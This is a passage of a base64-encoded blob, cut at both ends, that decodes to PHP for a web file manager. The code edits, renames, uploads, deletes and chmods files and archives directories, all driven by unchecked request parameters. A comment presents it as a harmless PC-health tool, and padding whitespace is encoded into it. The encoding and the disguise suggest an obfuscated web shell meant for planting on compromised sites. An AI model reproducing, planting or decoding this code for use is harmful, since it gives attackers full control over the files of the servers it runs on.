gkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddKTsNCg0KICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCj8+DQo8dGFibGUgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzEnIHdpZHRoPSIxMDAlIj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48L3RoPg0KPC90cj4NCg0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KDQogICAgICAgIDw/PWZtX2hvbWUoKT8+IDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoNCgkgICAgIDwvdGQ+DQo8L3RyPg0KDQo8dHI+DQoNCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMTUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYW5jZWwiIHZhbHVlPSI8Pz1fXygnQ2FuY2VsJyk/PiI+DQoNCiAgICAgICAgPC9mb3JtPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQoNCjw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICRhdXRoX2dvd25bJ3NjcmlwdCddOw0KfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsncmlnaHRzJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KCSAgICAgICAgIGlmKGZtX2NobW9kKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgZm1fY29udmVydF9yaWdodHMoJF9SRVFVRVNUWydyaWdodHNfdmFsJ10pLCBAJF9SRVFVRVNUWydyZWN1cnNpdmVseSddKSkNCg0KCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyANCgkgICAgIAkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IChfXygnRXJyb3Igb2NjdXJyZWQnKSk7DQoJICAgICB9DQoJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICRsaW5rID0gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJF9SRVFVRVNUWydyaWdodHMnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQo/Pg0KDQo8dGFibGUgY2xhc3M9Indob2xlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KPC90cj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCg0KICAgICAgICA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KDQoJICAgICA8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KDQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+DQogICAgICAgICAgIDw/PV9fKCdSaWdodHMnKS4nIC0gJy4kX1JFUVVFU1RbJ3JpZ2h0cyddPz4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJpZ2h0c192YWwiIHZhbHVlPSI8Pz0kb2xkcmlnaHRzPz4iPg0KICAgICAgICA8P3BocCBpZiAoaXNfZGlyKCRwYXRoLiRfUkVRVUVTVFsncmlnaHRzJ10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZWx5IiB2YWx1ZT0iMSI+IDw/PV9fKCdSZWN1cnNpdmVseScpPz48YnIvPg0KICAgICAgICA8P3BocCB9ID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCjwvdGFibGU+DQo8P3BocA0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3JlbmFtZSddKSYmJF9SRVFVRVNUWydyZW5hbWUnXTw+Jy4nKSB7DQoNCgkgICAgIGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCg0KCSAgICAgICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pOw0KCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IChfXygnRmlsZSB1cGRhdGVkJykpOw0KCSAgICAgCSAgICAgJF9SRVFVRVNUWydyZW5hbWUnXSA9ICRfUkVRVUVTVFsnbmV3bmFtZSddOw0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkX1JFUVVFU1RbJ3JlbmFtZSddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo/Pg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjx0cj4NCg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+DQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KDQogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoNCgkgICAgIDwvdGQ+DQoNCjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk/PjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld25hbWUiIHZhbHVlPSI8Pz0kX1JFUVVFU1RbJ3JlbmFtZSddPz4iPjxici8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCg0KICAgICAgICA8L2Zvcm0+DQogICAgPC90ZD4NCg0KPC90cj4NCg0KPC90YWJsZT4NCg0KPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0gZWxzZSB7DQoNCi8vIGtpcmVpLCBzaG93aW5nIHRoZSBzcGVjaWZpY2F0aW9ucyBvZiB5b3VyIGNvbXB1dGVyLCBsaWtlIGEgbWFnaWNhbCBjcnlzdGFsIGJhbGwgZm9yIHlvdXIgUEPvv73vv71zIGhlYWx0aCENCg0KICAgICRtc2dfaGVhZGVycyA9ICcnOw0KDQogICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddKSYmIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7DQoNCiAgICAgICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSwgJHBhdGggLiAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlJ10pJiYkX1JFUVVFU1RbJ2RlbGV0ZSddPD4nLicpIHsNCiAgICAgICAgaWYoIWZtX2RlbF9maWxlQXJyYXkoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107DQoJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2RpciddKSYmIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7DQoNCiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICB9IGVsc2Ugew0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZGlybmFtZSddOw0KDQoJICAgICAJICAgICB9DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsICcwJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc2VhcmNoX2RhdGEgPSAgZmluZF90ZXh0X2luX2ZpbGVBcnJheSgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydtYXNrJ10sICRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKTsNCg0KCSAgICAgCSAgICAgaWYoIWVtcHR5KCRzZWFyY2hfZGF0YSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGb3VuZCBpbiBmaWxlQXJyYXknKS4nICgnLmNvdW50KCRzZWFyY2hfZGF0YSkuJyk6PGJyPic7DQoNCgkgICAgIAkgICAgIAkgICAgIGZvcmVhY2ggKCRzZWFyY2hfZGF0YSBhcyAkZmlsZW5hbWUpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49ICc8YSBocmVmPSInLmZtX3VybCh0cnVlKS4nP2ZtPXRydWUmZWRpdD0nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJyZwYXRoPScuc3RyX3JlcGxhY2UoJy8nLmJhc2VuYW1lKCRmaWxlbmFtZSksJy8nLCRmaWxlbmFtZSkuJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLic8L2E+Jm5ic3A7ICZuYnNwOyc7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfSBlbHNlIHsNCgkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnTm90aGluZyBmb3VuZGVkJyk7DQoNCgkgICAgIAkgICAgIH0JICAgICANCg0KCSAgICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsNCiAgICAgICAgaWYoISRmcD1AZm9wZW4oJHBhdGggLiAkX1JFUVVFU1RbJ2ZpbGVuYW1lJ10sInciKSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KICAgICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICBmY2xvc2UoJGZwKTsNCg0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd6aXAnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnemlwJ10pOw0KCSAgICAgCSAgICAgJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOw0KCSAgICAgCSAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KDQoJICAgICAJICAgICAkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOw0KDQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKQ0KDQoJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCg0KCSAgICAgCSAgICAgJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykgLiAnPC9hPic7DQoNCgkgICAgIAkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVBcnJheScpOw0KDQoJICAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2d6J10pKSB7DQoNCgkgICAgIAkgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTsNCg0KCSAgICAgCSAgICAgJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCg0KCSAgICAgCSAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCgkgICAgIAkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KCSAgICAgCSAgICAgLy9kaWUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoJICAgICAJICAgICAkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOw0KDQoJICAgICAJICAgICAkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJy50YXIuZ3onKTsNCg0KCSAgICAgCSAgICAgdW5zZXQoJHBoYXIpOw0KDQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVubGluaygkYXJjaGl2ZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg